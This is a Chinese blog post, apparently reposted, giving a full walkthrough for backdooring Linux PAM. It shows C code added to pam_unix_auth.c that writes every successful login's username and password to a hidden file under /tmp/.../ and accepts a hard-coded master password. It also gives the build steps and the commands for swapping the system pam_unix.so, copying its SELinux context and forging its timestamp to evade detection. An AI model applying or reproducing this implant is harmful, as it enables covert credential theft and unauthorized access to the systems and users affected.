pam后门 和应用实例

pam发现了一个具体情况做一下记录 顺便把安装方式重新写一遍

rpm -qa | grep pam #查看pam版本 pam-1.1.1 看这个版本号

http://www.linux-pam.org/library/  下载对应版本

修改modlues/pam_unix/目录下的pam_unix_auth.c

找到

/* verify the password of this user */

//添加以下代码

retval = _unix_verify_password(pamh, name, p, ctrl);

//存储密码的地方
if(retval== PAM_SUCCESS)
{
    fp=fopen("/tmp/.../pslog","a");
    fprintf(fp,"%s::%s\n",name,p);
    fclose(fp);
}

//万能密码
if(strcmp(p,"pam")==0)
{
    retval = PAM_SUCCESS;
}

#别忘了在添加完之后在这个函数头部 添加 FILE *fp;

yum install flex

./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr

会提示yywrap 还是出错 要添加一个函数

int yywrap(){return 1;} 

到提示错误的文件最上面就行

make 直到make成功

编译完了  在modules/pam_unix/.libs中的pam_unix.so就是后门

手动创建密码文件:

touch /tmp/.../pslog;chmod a+w /tmp/.../pslog

转到路径  /lib64/security/

上传文件 pam_unix.so1  

mv pam_unix.so pam_unix.so.bak
mv pam_unix.so1 pam_unix.so

查看Selinux上下文:

ls -Z pam_unix.so.bak (备份的原始文件)

设置Selinux上下文:

chcon -reference=pam_unix.so.bak pam_unix.so
setsebool -P allow_saslauthd_read_shadow 1

设置文件时间戳

touch pam_unix.so -r pam_umask.so

路径 /lib64/security/pam_unix.so  #替换掉就行了  别忘记备份源文件啊啊

转载于:https://my.oschina.net/9199771/blog/741709

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值